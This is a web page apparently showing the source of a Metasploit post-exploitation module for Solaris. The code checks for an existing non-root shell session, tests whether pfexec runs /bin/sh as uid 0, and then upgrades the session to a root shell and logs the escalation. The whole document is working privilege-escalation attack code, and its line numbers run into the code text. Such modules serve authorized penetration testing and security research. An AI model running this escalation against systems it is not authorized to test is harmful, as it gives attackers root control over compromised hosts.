Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/solaris/escalate/pfexec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::System8include Msf::Post::Solaris::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Solaris pfexec Upgrade Shell',15'Description' => %q{16This module attempts to upgrade a shell session to UID 0 using pfexec.17},18'License' => MSF_LICENSE,19'Author' => ['bcoles'],20'Platform' => 'solaris',21'References' => [22['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],23['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],24['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']25],26'SessionTypes' => ['shell']27)28)29register_options [30OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),31OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])32]33end3435def shell_path36datastore['SHELL_PATH'].to_s37end3839def pfexec_path40datastore['PFEXEC_PATH'].to_s41end4243def run44unless session.type == 'shell'45fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"46end4748if is_root?49fail_with Failure::BadConfig, 'Session already has root privileges'50end5152unless command_exists? pfexec_path53fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"54end5556user = cmd_exec('id -un').to_s5758print_status "Trying pfexec as `#{user}' ..."5960res = cmd_exec "#{pfexec_path} #{shell_path} -c id"61vprint_status res6263unless res.include? 'uid=0'64fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"65end6667print_good 'Success! Upgrading session ...'6869cmd_exec "#{pfexec_path} #{shell_path}"7071unless is_root?72fail_with Failure::NotVulnerable, 'Failed to escalate'73end7475print_good 'Success! root shell secured'76report_note(77host: session,78type: 'host.escalation',79data: "User `#{user}' pfexec'ed to a root shell"80)81end82end838485